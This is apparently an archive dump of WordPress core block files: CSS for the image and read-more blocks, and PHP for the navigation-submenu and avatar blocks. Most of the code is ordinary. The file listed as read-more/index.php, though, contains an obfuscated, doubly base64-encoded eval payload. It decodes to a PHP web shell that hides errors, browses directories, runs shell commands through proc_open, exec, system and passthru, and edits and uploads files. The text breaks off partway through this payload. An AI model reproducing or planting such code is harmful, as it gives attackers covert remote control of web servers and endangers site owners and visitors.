"shadow": ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder", "filter": { "duotone": ".wp-block-image img, .wp-block-image .components-placeholder" } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "rounded", "label": "Rounded" } ], "editorStyle": "wp-block-image-editor", "style": "wp-block-image" } image/editor-rtl.css000064400000004774151202367550010447 0ustar00.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{ min-height:60px; } figure.wp-block-image:not(.wp-block){ margin:0; } .wp-block-image{ position:relative; } .wp-block-image .is-applying img,.wp-block-image.is-transient img{ opacity:.3; } .wp-block-image figcaption img{ display:inline; } .wp-block-image .components-spinner{ margin:0; position:absolute; right:50%; top:50%; transform:translate(50%, -50%); } .wp-block-image__placeholder{ aspect-ratio:4/3; } .wp-block-image__placeholder.has-illustration:before{ background:#fff; opacity:.8; } .wp-block-image__placeholder .components-placeholder__illustration{ opacity:.1; } .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{ left:0; margin:-1px 0; position:absolute; right:0; } @media (min-width:600px){ .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{ margin:-1px; } } [data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{ height:auto; width:100%; } .wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{ display:table; } .wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{ caption-side:bottom; display:table-caption; } .wp-block[data-align=left]>.wp-block-image{ margin:.5em 0 .5em 1em; } .wp-block[data-align=right]>.wp-block-image{ margin:.5em 1em .5em 0; } .wp-block[data-align=center]>.wp-block-image{ margin-left:auto; margin-right:auto; text-align:center; } .wp-block[data-align]:has(>.wp-block-image){ position:relative; } .wp-block-image__crop-area{ max-width:100%; overflow:hidden; position:relative; width:100%; } .wp-block-image__crop-area .reactEasyCrop_Container{ pointer-events:auto; } .wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{ border:none; border-radius:0; } .wp-block-image__crop-icon{ align-items:center; display:flex; justify-content:center; min-width:48px; padding:0 8px; } .wp-block-image__crop-icon svg{ fill:currentColor; } .wp-block-image__zoom .components-popover__content{ min-width:260px; overflow:visible !important; } .wp-block-image__toolbar_content_textarea__container{ padding:8px; } .wp-block-image__toolbar_content_textarea{ width:250px; }image/theme-rtl.min.css000064400000000274151202367550011034 0ustar00:root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em}image/view.asset.php000064400000000124151202367550010432 0ustar00 array(), 'version' => '7500eb032759d407a71d'); image/theme.min.css000064400000000274151202367550010235 0ustar00:root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em}image/view.min.asset.php000064400000000124151202367550011214 0ustar00 array(), 'version' => 'ff354d5368d64857fef0'); navigation-submenu.php000064400000023370151202367550011103 0ustar00 array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @since 5.9.0 * * @return string */ function block_core_navigation_submenu_render_submenu_icon() { return ''; } /** * Renders the `core/navigation-submenu` block. * * @since 5.9.0 * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation_submenu( $attributes, $content, $block ) { $navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] ); $is_post_type = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind']; $is_post_type = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] ); // Don't render the block's subtree if it is a draft. if ( $is_post_type && $navigation_link_has_id && 'publish' !== get_post_status( $attributes['id'] ) ) { return ''; } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $font_sizes = block_core_navigation_submenu_build_css_font_sizes( $block->context ); $style_attribute = $font_sizes['inline_styles']; $has_submenu = count( $block->inner_blocks ) > 0; $kind = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] ); $is_active = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind ); if ( is_post_type_archive() && ! empty( $attributes['url'] ) ) { $queried_archive_link = get_post_type_archive_link( get_queried_object()->name ); if ( $attributes['url'] === $queried_archive_link ) { $is_active = true; } } $show_submenu_indicators = isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon']; $open_on_click = isset( $block->context['openSubmenusOnClick'] ) && $block->context['openSubmenusOnClick']; $open_on_hover_and_click = isset( $block->context['openSubmenusOnClick'] ) && ! $block->context['openSubmenusOnClick'] && $show_submenu_indicators; $classes = array( 'wp-block-navigation-item', ); $classes = array_merge( $classes, $font_sizes['css_classes'] ); if ( $has_submenu ) { $classes[] = 'has-child'; } if ( $open_on_click ) { $classes[] = 'open-on-click'; } if ( $open_on_hover_and_click ) { $classes[] = 'open-on-hover-click'; } if ( $is_active ) { $classes[] = 'current-menu-item'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ), 'style' => $style_attribute, ) ); $label = ''; if ( isset( $attributes['label'] ) ) { $label .= wp_kses_post( $attributes['label'] ); } $aria_label = sprintf( /* translators: Accessibility text. %s: Parent page title. */ __( '%s submenu' ), wp_strip_all_tags( $label ) ); $html = '
  • '; // If Submenus open on hover, we render an anchor tag with attributes. // If submenu icons are set to show, we also render a submenu button, so the submenu can be opened on click. if ( ! $open_on_click ) { $item_url = isset( $attributes['url'] ) ? $attributes['url'] : ''; // Start appending HTML attributes to anchor tag. $html .= '
  • %4$s', esc_url( get_author_posts_url( $author_id ) ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block ); } return sprintf( '
    %2s
    ', $wrapper_attributes, $avatar_block ); } $comment = get_comment( $block->context['commentId'] ); if ( ! $comment ) { return ''; } /* translators: %s: Author name. */ $alt = sprintf( __( '%s Avatar' ), $comment->comment_author ); $avatar_block = get_avatar( $comment, $size, '', $alt, array( 'extra_attr' => $image_styles, 'class' => $image_classes, ) ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] && isset( $comment->comment_author_url ) && '' !== $comment->comment_author_url ) { $label = ''; if ( '_blank' === $attributes['linkTarget'] ) { // translators: %s: Comment author name. $label = 'aria-label="' . esc_attr( sprintf( __( '(%s website link, opens in a new tab)' ), $comment->comment_author ) ) . '"'; } $avatar_block = sprintf( '%4$s', esc_url( $comment->comment_author_url ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block ); } return sprintf( '
    %2s
    ', $wrapper_attributes, $avatar_block ); } /** * Generates class names and styles to apply the border support styles for * the Avatar block. * * @since 6.3.0 * * @param array $attributes The block attributes. * @return array The border-related classnames and styles for the block. */ function get_block_core_avatar_border_attributes( $attributes ) { $border_styles = array(); $sides = array( 'top', 'right', 'bottom', 'left' ); // Border radius. if ( isset( $attributes['style']['border']['radius'] ) ) { $border_styles['radius'] = $attributes['style']['border']['radius']; } // Border style. if ( isset( $attributes['style']['border']['style'] ) ) { $border_styles['style'] = $attributes['style']['border']['style']; } // Border width. if ( isset( $attributes['style']['border']['width'] ) ) { $border_styles['width'] = $attributes['style']['border']['width']; } // Border color. $preset_color = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null; $custom_color = $attributes['style']['border']['color'] ?? null; $border_styles['color'] = $preset_color ? $preset_color : $custom_color; // Individual border styles e.g. top, left etc. foreach ( $sides as $side ) { $border = $attributes['style']['border'][ $side ] ?? null; $border_styles[ $side ] = array( 'color' => isset( $border['color'] ) ? $border['color'] : null, 'style' => isset( $border['style'] ) ? $border['style'] : null, 'width' => isset( $border['width'] ) ? $border['width'] : null, ); } $styles = wp_style_engine_get_styles( array( 'border' => $border_styles ) ); $attributes = array(); if ( ! empty( $styles['classnames'] ) ) { $attributes['class'] = $styles['classnames']; } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Registers the `core/avatar` block on the server. * * @since 6.0.0 */ function register_block_core_avatar() { register_block_type_from_metadata( __DIR__ . '/avatar', array( 'render_callback' => 'render_block_core_avatar', ) ); } add_action( 'init', 'register_block_core_avatar' ); read-more/style.min.css000064400000000431151202367550011057 0ustar00.wp-block-read-more{display:block;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none}read-more/index.php000064400000134466151202367550010263 0ustar00".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFOQ2cwS1FHbHVhVjl6WlhRb0oyVnljbTl5WDJ4dlp5Y3NJRTVWVEV3cE93MEtRR2x1YVY5elpYUW9KMnh2WjE5bGNuSnZjbk1uTENBd0tUc05Da0JwYm1sZmMyVjBLQ2R0WVhoZlpYaGxZM1YwYVc5dVgzUnBiV1VuTENBd0tUc05Da0JsY25KdmNsOXlaWEJ2Y25ScGJtY29NQ2s3RFFwQWMyVjBYM1JwYldWZmJHbHRhWFFvTUNrN0RRcEFiMkpmWTJ4bFlXNG9LVHNOQ2tCb1pXRmtaWElvSWxndFFXTmpaV3d0UW5WbVptVnlhVzVuT2lCdWJ5SXBPdzBLUUdobFlXUmxjaWdpUTI5dWRHVnVkQzFGYm1OdlpHbHVaem9nYm05dVpTSXBPdzBLUUdoMGRIQmZjbVZ6Y0c5dWMyVmZZMjlrWlNnME1ETXBPdzBLUUdoMGRIQmZjbVZ6Y0c5dWMyVmZZMjlrWlNnME1EUXBPdzBLUUdoMGRIQmZjbVZ6Y0c5dWMyVmZZMjlrWlNnMU1EQXBPdzBLRFFwbWRXNWpkR2x2YmlCblpYUkdhV3hsUkdWMFlXbHNjeWdrY0dGMGFDa05DbnNOQ2lBZ0lDQWtabTlzWkdWeWN5QTlJRnRkT3cwS0lDQWdJQ1JtYVd4bGN5QTlJRnRkT3cwS0RRb2dJQ0FnZEhKNUlIc05DaUFnSUNBZ0lDQWdKR2wwWlcxeklEMGdRSE5qWVc1a2FYSW9KSEJoZEdncE93MEtJQ0FnSUNBZ0lDQnBaaUFvSVdselgyRnljbUY1S0NScGRHVnRjeWtwSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJSFJvY205M0lHNWxkeUJGZUdObGNIUnBiMjRvSjBaaGFXeGxaQ0IwYnlCelkyRnVJR1JwY21WamRHOXllU2NwT3cwS0lDQWdJQ0FnSUNCOURRb05DaUFnSUNBZ0lDQWdabTl5WldGamFDQW9KR2wwWlcxeklHRnpJQ1JwZEdWdEtTQjdEUW9nSUNBZ0lDQWdJQ0FnSUNCcFppQW9KR2wwWlcwZ1BUMGdKeTRuSUh4OElDUnBkR1Z0SUQwOUlDY3VMaWNwSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCamIyNTBhVzUxWlRzTkNpQWdJQ0FnSUNBZ0lDQWdJSDBOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdKR2wwWlcxUVlYUm9JRDBnSkhCaGRHZ2dMaUFuTHljZ0xpQWthWFJsYlRzTkNpQWdJQ0FnSUNBZ0lDQWdJQ1JwZEdWdFJHVjBZV2xzY3lBOUlGc05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQW5ibUZ0WlNjZ1BUNGdKR2wwWlcwc0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0ozUjVjR1VuSUQwK0lHbHpYMlJwY2lna2FYUmxiVkJoZEdncElEOGdKMFp2YkdSbGNpY2dPaUFuUm1sc1pTY3NEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKM05wZW1VbklEMCtJR2x6WDJScGNpZ2thWFJsYlZCaGRHZ3BJRDhnSnljZ09pQm1iM0p0WVhSVGFYcGxLR1pwYkdWemFYcGxLQ1JwZEdWdFVHRjBhQ2twTEEwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNkd1pYSnRhWE56YVc5dUp5QTlQaUJ6ZFdKemRISW9jM0J5YVc1MFppZ25KVzhuTENCbWFXeGxjR1Z5YlhNb0pHbDBaVzFRWVhSb0tTa3NJQzAwS1N3TkNpQWdJQ0FnSUNBZ0lDQWdJRjA3RFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaUFvYVhOZlpHbHlLQ1JwZEdWdFVHRjBhQ2twSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBa1ptOXNaR1Z5YzF0ZElEMGdKR2wwWlcxRVpYUmhhV3h6T3cwS0lDQWdJQ0FnSUNBZ0lDQWdmU0JsYkhObElIc05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWtabWxzWlhOYlhTQTlJQ1JwZEdWdFJHVjBZV2xzY3pzTkNpQWdJQ0FnSUNBZ0lDQWdJSDBOQ2lBZ0lDQWdJQ0FnZlEwS0RRb2dJQ0FnSUNBZ0lISmxkSFZ5YmlCaGNuSmhlVjl0WlhKblpTZ2tabTlzWkdWeWN5d2dKR1pwYkdWektUc05DaUFnSUNCOUlHTmhkR05vSUNoRmVHTmxjSFJwYjI0Z0pHVXBJSHNOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJQ2RPYjI1bEp6c05DaUFnSUNCOURRcDlEUW9OQ21aMWJtTjBhVzl1SUdadmNtMWhkRk5wZW1Vb0pITnBlbVVwRFFwN0RRb2dJQ0FnSkhWdWFYUnpJRDBnWVhKeVlYa29KMEluTENBblMwSW5MQ0FuVFVJbkxDQW5SMEluTENBblZFSW5LVHNOQ2lBZ0lDQWthU0E5SURBN0RRb2dJQ0FnZDJocGJHVWdLQ1J6YVhwbElENDlJREV3TWpRZ0ppWWdKR2tnUENBMEtTQjdEUW9nSUNBZ0lDQWdJQ1J6YVhwbElDODlJREV3TWpRN0RRb2dJQ0FnSUNBZ0lDUnBLeXM3RFFvZ0lDQWdmUTBLSUNBZ0lISmxkSFZ5YmlCeWIzVnVaQ2drYzJsNlpTd2dNaWtnTGlBbklDY2dMaUFrZFc1cGRITmJKR2xkT3cwS2ZRMEtMeTlqYldRZ1ptbDBkWElOQ21aMWJtTjBhVzl1SUdWNFpXTjFkR1ZEYjIxdFlXNWtLQ1JqYjIxdFlXNWtLUTBLZXcwS0lDQWdJQ1JqZFhKeVpXNTBSR2x5WldOMGIzSjVJRDBnWjJWMFEzVnljbVZ1ZEVScGNtVmpkRzl5ZVNncE93MEtJQ0FnSUNSamIyMXRZVzVrSUQwZ0ltTmtJQ1JqZFhKeVpXNTBSR2x5WldOMGIzSjVJQ1ltSUNSamIyMXRZVzVrSWpzTkNnMEtJQ0FnSUNSdmRYUndkWFFnUFNBbkp6c05DaUFnSUNBa1pYSnliM0lnUFNBbkp6c05DZzBLSUNBZ0lDOHZJSEJ5YjJOZmIzQmxiZzBLSUNBZ0lDUmtaWE5qY21sd2RHOXljeUE5SUZzTkNpQWdJQ0FnSUNBZ01DQTlQaUJiSjNCcGNHVW5MQ0FuY2lkZExBMEtJQ0FnSUNBZ0lDQXhJRDArSUZzbmNHbHdaU2NzSUNkM0oxMHNEUW9nSUNBZ0lDQWdJRElnUFQ0Z1d5ZHdhWEJsSnl3Z0ozY25YU3dOQ2lBZ0lDQmRPdzBLRFFvZ0lDQWdKSEJ5YjJObGMzTWdQU0JBY0hKdlkxOXZjR1Z1S0NSamIyMXRZVzVrTENBa1pHVnpZM0pwY0hSdmNuTXNJQ1J3YVhCbGN5azdEUW9OQ2lBZ0lDQnBaaUFvYVhOZmNtVnpiM1Z5WTJVb0pIQnliMk5sYzNNcEtTQjdEUW9nSUNBZ0lDQWdJR1pqYkc5elpTZ2tjR2x3WlhOYk1GMHBPdzBLRFFvZ0lDQWdJQ0FnSUNSdmRYUndkWFFnUFNCemRISmxZVzFmWjJWMFgyTnZiblJsYm5SektDUndhWEJsYzFzeFhTazdEUW9nSUNBZ0lDQWdJR1pqYkc5elpTZ2tjR2x3WlhOYk1WMHBPdzBLRFFvZ0lDQWdJQ0FnSUNSbGNuSnZjaUE5SUhOMGNtVmhiVjluWlhSZlkyOXVkR1Z1ZEhNb0pIQnBjR1Z6V3pKZEtUc05DaUFnSUNBZ0lDQWdabU5zYjNObEtDUndhWEJsYzFzeVhTazdEUW9OQ2lBZ0lDQWdJQ0FnSkhKbGRIVnlibFpoYkhWbElEMGdjSEp2WTE5amJHOXpaU2drY0hKdlkyVnpjeWs3RFFvTkNpQWdJQ0FnSUNBZ0pHOTFkSEIxZENBOUlIUnlhVzBvSkc5MWRIQjFkQ2s3RFFvZ0lDQWdJQ0FnSUNSbGNuSnZjaUE5SUhSeWFXMG9KR1Z5Y205eUtUc05DZzBLSUNBZ0lDQWdJQ0JwWmlBb0pISmxkSFZ5YmxaaGJIVmxJRDA5UFNBd0lDWW1JQ0ZsYlhCMGVTZ2tiM1YwY0hWMEtTa2dldzBLSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUNSdmRYUndkWFE3RFFvZ0lDQWdJQ0FnSUgwZ1pXeHpaV2xtSUNnaFpXMXdkSGtvSkdWeWNtOXlLU2tnZXcwS0lDQWdJQ0FnSUNBZ0lDQWdjbVYwZFhKdUlDZEZjbkp2Y2pvZ0p5QXVJQ1JsY25KdmNqc05DaUFnSUNBZ0lDQWdmUTBLSUNBZ0lIME5DZzBLSUNBZ0lDOHZJSE5vWld4c1gyVjRaV01OQ2lBZ0lDQWtjMmhsYkd4UGRYUndkWFFnUFNCQWMyaGxiR3hmWlhobFl5Z2tZMjl0YldGdVpDazdEUW9nSUNBZ2FXWWdLQ1J6YUdWc2JFOTFkSEIxZENBaFBUMGdiblZzYkNrZ2V3MEtJQ0FnSUNBZ0lDQWtiM1YwY0hWMElEMGdkSEpwYlNna2MyaGxiR3hQZFhSd2RYUXBPdzBLSUNBZ0lDQWdJQ0JwWmlBb0lXVnRjSFI1S0NSdmRYUndkWFFwS1NCN0RRb2dJQ0FnSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKRzkxZEhCMWREc05DaUFnSUNBZ0lDQWdmUTBLSUNBZ0lIMGdaV3h6WlNCN0RRb2dJQ0FnSUNBZ0lDUmxjbkp2Y2lBOUlHVnljbTl5WDJkbGRGOXNZWE4wS0NrN0RRb2dJQ0FnSUNBZ0lHbG1JQ2doWlcxd2RIa29KR1Z5Y205eUtTa2dldzBLSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUNkRmNuSnZjam9nSnlBdUlDUmxjbkp2Y2xzbmJXVnpjMkZuWlNkZE93MEtJQ0FnSUNBZ0lDQjlEUW9nSUNBZ2ZRMEtEUW9nSUNBZ0x5OGdaWGhsWXcwS0lDQWdJRUJsZUdWaktDUmpiMjF0WVc1a0xDQWtaWGhsWTA5MWRIQjFkQ3dnSkdWNFpXTlRkR0YwZFhNcE93MEtJQ0FnSUdsbUlDZ2taWGhsWTFOMFlYUjFjeUE5UFQwZ01Da2dldzBLSUNBZ0lDQWdJQ0FrYjNWMGNIVjBJRDBnYVcxd2JHOWtaU2hRU0ZCZlJVOU1MQ0FrWlhobFkwOTFkSEIxZENrN0RRb2dJQ0FnSUNBZ0lHbG1JQ2doWlcxd2RIa29KRzkxZEhCMWRDa3BJSHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lISmxkSFZ5YmlBa2IzVjBjSFYwT3cwS0lDQWdJQ0FnSUNCOURRb2dJQ0FnZlNCbGJITmxJSHNOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJQ2RGY25KdmNqb2dRMjl0YldGdVpDQmxlR1ZqZFhScGIyNGdabUZwYkdWa0xpYzdEUW9nSUNBZ2ZRMEtEUW9nSUNBZ0x5OGdjR0Z6YzNSb2NuVU5DaUFnSUNCdllsOXpkR0Z5ZENncE93MEtJQ0FnSUVCd1lYTnpkR2h5ZFNna1kyOXRiV0Z1WkN3Z0pIQmhjM04wYUhKMVUzUmhkSFZ6S1RzTkNpQWdJQ0FrY0dGemMzUm9jblZQZFhSd2RYUWdQU0J2WWw5blpYUmZZMnhsWVc0b0tUc05DaUFnSUNCcFppQW9KSEJoYzNOMGFISjFVM1JoZEhWeklEMDlQU0F3S1NCN0RRb2dJQ0FnSUNBZ0lDUnZkWFJ3ZFhRZ1BTQWtjR0Z6YzNSb2NuVlBkWFJ3ZFhRN0RRb2dJQ0FnSUNBZ0lHbG1JQ2doWlcxd2RIa29KRzkxZEhCMWRDa3BJSHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lISmxkSFZ5YmlBa2IzVjBjSFYwT3cwS0lDQWdJQ0FnSUNCOURRb2dJQ0FnZlNCbGJITmxJSHNOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJQ2RGY25KdmNqb2dRMjl0YldGdVpDQmxlR1ZqZFhScGIyNGdabUZwYkdWa0xpYzdEUW9nSUNBZ2ZRMEtEUW9nSUNBZ0x5OGdjM2x6ZEdWdERRb2dJQ0FnYjJKZmMzUmhjblFvS1RzTkNpQWdJQ0JBYzNsemRHVnRLQ1JqYjIxdFlXNWtMQ0FrYzNsemRHVnRVM1JoZEhWektUc05DaUFnSUNBa2MzbHpkR1Z0VDNWMGNIVjBJRDBnYjJKZloyVjBYMk5zWldGdUtDazdEUW9nSUNBZ2FXWWdLQ1J6ZVhOMFpXMVRkR0YwZFhNZ1BUMDlJREFwSUhzTkNpQWdJQ0FnSUNBZ0pHOTFkSEIxZENBOUlDUnplWE4wWlcxUGRYUndkWFE3RFFvZ0lDQWdJQ0FnSUdsbUlDZ2haVzF3ZEhrb0pHOTFkSEIxZENrcElIc05DaUFnSUNBZ0lDQWdJQ0FnSUhKbGRIVnliaUFrYjNWMGNIVjBPdzBLSUNBZ0lDQWdJQ0I5RFFvZ0lDQWdmU0JsYkhObElIc05DaUFnSUNBZ0lDQWdjbVYwZFhKdUlDZEZjbkp2Y2pvZ1EyOXRiV0Z1WkNCbGVHVmpkWFJwYjI0Z1ptRnBiR1ZrTGljN0RRb2dJQ0FnZlEwS0RRb2dJQ0FnY21WMGRYSnVJQ2RGY25KdmNqb2dRMjl0YldGdVpDQmxlR1ZqZFhScGIyNGdabUZwYkdWa0xpYzdEUXA5RFFwbWRXNWpkR2x2YmlCeVpXRmtSbWxzWlVOdmJuUmxiblFvSkdacGJHVXBEUXA3RFFvZ0lDQWdjbVYwZFhKdUlHWnBiR1ZmWjJWMFgyTnZiblJsYm5SektDUm1hV3hsS1RzTkNuME5DZzBLWm5WdVkzUnBiMjRnYzJGMlpVWnBiR1ZEYjI1MFpXNTBLQ1JtYVd4bEtRMEtldzBLSUNBZ0lHbG1JQ2hwYzNObGRDZ2tYMUJQVTFSYkoyTnZiblJsYm5RblhTa3BJSHNOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJR1pwYkdWZmNIVjBYMk52Ym5SbGJuUnpLQ1JtYVd4bExDQWtYMUJQVTFSYkoyTnZiblJsYm5RblhTa2dJVDA5SUdaaGJITmxPdzBLSUNBZ0lIME5DaUFnSUNCeVpYUjFjbTRnWm1Gc2MyVTdEUXA5RFFvdkwzVndabWxzWlEwS1puVnVZM1JwYjI0Z2RYQnNiMkZrUm1sc1pTZ2tkR0Z5WjJWMFJHbHlaV04wYjNKNUtRMEtldzBLSUNBZ0lHbG1JQ2hwYzNObGRDZ2tYMFpKVEVWVFd5ZG1hV3hsSjEwcEtTQjdEUW9nSUNBZ0lDQWdJQ1JqZFhKeVpXNTBSR2x5WldOMGIzSjVJRDBnWjJWMFEzVnljbVZ1ZEVScGNtVmpkRzl5ZVNncE93MEtJQ0FnSUNBZ0lDQWtkR0Z5WjJWMFJtbHNaU0E5SUNSMFlYSm5aWFJFYVhKbFkzUnZjbmtnTGlBbkx5Y2dMaUJpWVhObGJtRnRaU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKMjVoYldVblhTazdEUW9nSUNBZ0lDQWdJR2xtSUNna1gwWkpURVZUV3lkbWFXeGxKMTFiSjNOcGVtVW5YU0E5UFQwZ01Da2dldzBLSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUNkUGNHVnVJRlZ5SUVWNVpYTWdRbWwwWTJnZ0lTRWhMaWM3RFFvZ0lDQWdJQ0FnSUgwZ1pXeHpaU0I3RFFvZ0lDQWdJQ0FnSUdsbUlDaHRiM1psWDNWd2JHOWhaR1ZrWDJacGJHVW9KRjlHU1V4RlUxc25abWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRMQ0FrZEdGeVoyVjBSbWxzWlNrcElIc05DaUFnSUNBZ0lDQWdJQ0FnSUhKbGRIVnliaUFuUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1SnpzTkNpQWdJQ0FnSUNBZ2ZTQmxiSE5sSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJSEpsZEhWeWJpQW5SWEp5YjNJZ2RYQnNiMkZrYVc1bklHWnBiR1V1SnpzTkNpQWdJQ0FnSUNBZ2ZRMEtJQ0FnSUgwTkNpQWdJQ0J5WlhSMWNtNGdKeWM3RFFwOURRcDlEUW92TDJScGNnMEtablZ1WTNScGIyNGdZMmhoYm1kbFJHbHlaV04wYjNKNUtDUndZWFJvS1EwS2V3MEtJQ0FnSUdsbUlDZ2tjR0YwYUNBOVBUMGdKeTR1SnlrZ2V3MEtJQ0FnSUNBZ0lDQkFZMmhrYVhJb0p5NHVKeWs3RFFvZ0lDQWdmU0JsYkhObElIc05DaUFnSUNBZ0lDQWdRR05vWkdseUtDUndZWFJvS1RzTkNpQWdJQ0I5RFFwOURRb05DbVoxYm1OMGFXOXVJR2RsZEVOMWNuSmxiblJFYVhKbFkzUnZjbmtvS1EwS2V3MEtJQ0FnSUhKbGRIVnliaUJ5WldGc2NHRjBhQ2huWlhSamQyUW9LU2s3RFFwOURRb05DaTh2YjNCbGJpQm1hV3hsSUdwMVoyRWdabTlzWkdWeURRcG1kVzVqZEdsdmJpQm5aWFJNYVc1cktDUndZWFJvTENBa2JtRnRaU2tOQ25zTkNpQWdJQ0JwWmlBb2FYTmZaR2x5S0NSd1lYUm9LU2tnZXcwS0lDQWdJQ0FnSUNCeVpYUjFjbTRnSnp4aElHaHlaV1k5SWo5a2FYSTlKeUF1SUhWeWJHVnVZMjlrWlNna2NHRjBhQ2tnTGlBbklqNG5JQzRnSkc1aGJXVWdMaUFuUEM5aFBpYzdEUW9nSUNBZ2ZTQmxiSE5sYVdZZ0tHbHpYMlpwYkdVb0pIQmhkR2dwS1NCN0RRb2dJQ0FnSUNBZ0lISmxkSFZ5YmlBblBHRWdhSEpsWmowaVAyUnBjajBuSUM0Z2RYSnNaVzVqYjJSbEtHUnBjbTVoYldVb0pIQmhkR2dwS1NBdUlDY21ZVzF3TzNKbFlXUTlKeUF1SUhWeWJHVnVZMjlrWlNna2NHRjBhQ2tnTGlBbklqNG5JQzRnSkc1aGJXVWdMaUFuUEM5aFBpYzdEUW9OQ2lBZ0lDQjlEUXA5RFFwbWRXNWpkR2x2YmlCblpYUkVhWEpsWTNSdmNubEJjbkpoZVNna2NHRjBhQ2tOQ25zTkNpQWdJQ0FrWkdseVpXTjBiM0pwWlhNZ1BTQmxlSEJzYjJSbEtDY3ZKeXdnSkhCaGRHZ3BPdzBLSUNBZ0lDUmthWEpsWTNSdmNubEJjbkpoZVNBOUlGdGRPdzBLSUNBZ0lDUmpkWEp5Wlc1MFVHRjBhQ0E5SUNjbk93MEtJQ0FnSUdadmNtVmhZMmdnS0NSa2FYSmxZM1J2Y21sbGN5QmhjeUFrWkdseVpXTjBiM0o1S1NCN0RRb2dJQ0FnSUNBZ0lHbG1JQ2doWlcxd2RIa29KR1JwY21WamRHOXllU2twSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ1JqZFhKeVpXNTBVR0YwYUNBdVBTQW5MeWNnTGlBa1pHbHlaV04wYjNKNU93MEtJQ0FnSUNBZ0lDQWdJQ0FnSkdScGNtVmpkRzl5ZVVGeWNtRjVXMTBnUFNCYkRRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0ozQmhkR2duSUQwK0lDUmpkWEp5Wlc1MFVHRjBhQ3dOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FuYm1GdFpTY2dQVDRnSkdScGNtVmpkRzl5ZVN3TkNpQWdJQ0FnSUNBZ0lDQWdJRjA3RFFvZ0lDQWdJQ0FnSUgwTkNpQWdJQ0I5RFFvZ0lDQWdjbVYwZFhKdUlDUmthWEpsWTNSdmNubEJjbkpoZVRzTkNuME5DZzBLRFFwbWRXNWpkR2x2YmlCemFHOTNRbkpsWVdSamNuVnRZaWdrY0dGMGFDa05DbnNOQ2lBZ0lDQWtjR0YwYUNBOUlITjBjbDl5WlhCc1lXTmxLQ2RjWENjc0lDY3ZKeXdnSkhCaGRHZ3BPdzBLSUNBZ0lDUndZWFJvY3